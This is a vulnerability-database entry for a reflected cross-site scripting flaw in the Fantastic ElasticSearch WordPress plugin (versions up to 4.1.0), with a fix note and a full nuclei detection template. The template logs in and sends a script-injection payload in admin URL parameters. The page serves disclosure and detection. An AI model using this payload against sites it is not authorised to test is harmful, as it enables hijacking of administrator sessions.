HexBrain

Browse / CVEs / CVE-2024-13221

CVE-2024-13221· parisholley / fantastic elasticsearch· CWE-79

Fantastic ElasticSearch Plugin <= 4.1.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
50%of all CVEs are less likely
Readycheck to confirm it

Fantastic ElasticSearch WordPress plugin <= 4.1.0 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to visit a malicious link.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.

Fix

Update to version 4.1.1 or later where input sanitization and escaping are properly implemented.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=elastic_search&tab=index"></script><script>alert(document.domain)</script><script>&action=testxss"></script><script>alert(document…
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "ElasticSearch") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13221 -u <target>

The full check
id: CVE-2024-13221

info:
  name: Fantastic ElasticSearch Plugin <= 4.1.0 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Fantastic ElasticSearch WordPress plugin <= 4.1.0 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to visit a malicious link.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to version 4.1.1 or later where input sanitization and escaping are properly implemented.
  reference:
    - https://wpscan.com/vulnerability/693f4cc4-a082-46bc-abc9-a08919f70157/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13221
    cwe-id: CWE-79
    epss-score: 0.0061
    epss-percentile: 0.4954
    cpe: cpe:2.3:a:parisholley:fantastic_elasticsearch:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: parisholley
    product: fantastic_elasticsearch
  tags: cve,cve2024,fantastic-elasticsearch,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=elastic_search&tab=index"></script><script>alert(document.domain)</script><script>&action=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "ElasticSearch")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from